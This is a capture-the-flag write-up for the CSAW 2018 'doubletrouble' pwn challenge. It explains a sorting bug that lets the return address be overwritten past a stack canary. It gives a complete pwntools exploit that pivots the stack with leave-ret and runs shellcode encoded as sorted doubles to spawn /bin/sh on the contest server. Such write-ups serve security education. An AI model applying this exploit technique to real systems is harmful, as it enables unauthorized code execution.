Tags: stack_canaries stack_pivot 

Rating:

**Description**

> Did you know every Number in javascript is a float
>
> `pwn.chal.csaw.io:9002`
>
> nsnc

**Files provided**

- [`doubletrouble`](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/doubletrouble)

**Solution** (by [Mem2019](https://github.com/Mem2019))

The problem is the total length will increase in `find_array`

```c
int __cdecl findArray(int *a1, double *a2, double a3, double a4)
{
int v5; // [esp+1Ch] [ebp-4h]

v5 = *a1;
while ( *a1 < 2 * v5 )
{
if ( a2[*a1 - v5] > (long double)a3 && a4 > (long double)a2[*a1 - v5] )
return *a1 - v5;
++*a1;
}
*a1 = v5;
return 0;
}
```

Then it will sort according to the increased size, which can affect return address.

However, there is canary, so we need to let the canary stay at the same position after sorting, with return address being changed.

What I've chosen is to set it as `leave ret`, and pivot the stack into our double array, then execute `retn` to execute our shellcode in the form of IEEE double. Also, the shellcode must be sorted, which can be implemented by manipulating the exponential part of IEEE double, while the digits are our shellcode with `jmp short`.

This takes me a lot of time, and we need to execute `/bin/sh` instead of `/bin/csh` as it suggested in the strings in the executable. Also, since canary is random, we cannot be sure about the position of canary after sorting, so my approach gives about `1/40` probability.

//todo, more detailed illustration later

```python
from pwn import *
import struct
g_local=False
context.log_level='debug'

LEAVE_RET = 0x08049166
DOUBLE_OFF = 0
def to_double(num):
return struct.unpack('<d', p64(num))[0]

def make_ieee_double(exp, digit, sign = 1):
assert sign == 1 or sign == 0
assert digit >= 0 and digit < (1 << 52)
rexp = exp + 1023
assert rexp >= 0 or rexp < 2048
return to_double((sign << 63) + (rexp << 52) + digit)

def shellcodes_4(asmcode):
ret = asm(asmcode)
assert len(ret) <= 4
return u64(ret.ljust(4, "\x90") + '\xeb\x02\x00\x00')

def make_shellcode(shpath):
assert len(shpath) % 4 == 0
ret = []
e = 1000
#0x804A127
for x in range(0, len(shpath), 4)[::-1]:
ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x+2:x+4])))))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("shl eax,16")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("mov ax," + hex(u16(shpath[x:x+2])))))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("push eax")))
e -= 1
#0x804BFF0
ret.append(make_ieee_double(e, shellcodes_4("push esp")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("mov ax,0x804")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("shl eax,16")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("mov ax,0xBFF0")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("mov eax,[eax]")))
e -= 1
ret.append(make_ieee_double(e, shellcodes_4("call eax")))
return ret

def exploit():
if g_local:
sh = process('./doubletrouble')#env={'LD_PRELOAD':'./libc.so.6'}
shstr = "/bin/sh\x00"
gdb.attach(sh)
else:
sh = remote("pwn.chal.csaw.io", 9002)
shstr = "/bin/sh\x00"
sh.recvuntil("0x")
leak = int(sh.recv(8),16)
arr = leak + DOUBLE_OFF
smallest = make_ieee_double(1020, arr + 0x20)
bigger = make_ieee_double(800, 0xdeadbeef)

payload = [smallest] * 4 + [-50.0] + [to_double((LEAVE_RET << 32) + arr - 4)] * 2 + make_shellcode(shstr)
payload += [bigger] * (64-len(payload))
assert len(payload) == 64
sh.recvuntil("How long: ")
sh.send(str(len(payload)) + "\n")
for n in payload:
sh.recvuntil("Give me: ")
sh.send(repr(n) + "\n")
sh.recvuntil("Sorted Array:")
ret = sh.recvuntil("terminated\r\n", timeout = 3.0)
if ret == '':
sh.interactive()
else:
return sh

while True:
try:
exploit().close()
except Exception as e:
print "failed"
```

Original writeup (https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/README.md#200-pwn--doubletrouble).